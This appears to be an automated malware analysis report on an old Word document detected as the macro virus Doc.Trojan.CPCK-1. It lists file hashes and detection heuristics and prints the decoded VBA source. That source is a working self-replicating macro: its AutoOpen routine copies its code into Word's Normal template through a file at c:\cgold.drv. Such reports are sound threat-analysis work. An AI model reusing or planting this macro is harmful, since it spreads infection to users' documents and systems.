Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c495fceb6a588ac…

MALICIOUS

Office (OLE)

49.5 KB Created: 1998-09-16 16:16:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: e520f62ba0f2bf2357c96212a0a5b87d SHA-1: 334061f67635a956fa135c092981886ac3f44e22 SHA-256: 6c495fceb6a588acd35aff1e653dc6ae6db43993e56b4e9f8d15bdedf0870d7b
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits multiple high-severity heuristics indicating the presence of legacy WordBasic macro virus markers and active VBA macros. The AutoOpen macro attempts to export its code to 'c:\cgold.drv' and then modify the NormalTemplate to include a modified AutoClose subroutine, suggesting an attempt to establish persistence or execute further malicious actions. The ClamAV detection further confirms its malicious nature.

Heuristics 6

  • ClamAV: Doc.Trojan.CPCK-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.CPCK-1
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 837 bytes
SHA-256: 2bb9dfffdb935832a6812171977d564b4d1e747222d4ca47c08ae49c95eb0db8
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
ad = ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
nt = NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines
If nt > 10 And ad > 0 Then End
If nt < 10 Then Set host = NormalTemplate.VBProject.VBComponents.Item(1)
If nt < 10 Then ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\cgold.drv"
If ad = 0 Then Set host = ActiveDocument.VBProject.VBComponents.Item(1)
host.CodeModule.AddFromFile ("c:\cgold.drv")
host.CodeModule.deletelines 1, 4
If nt < 10 Then host.CodeModule.replaceline 1, "Sub AutoClose()"
End Sub

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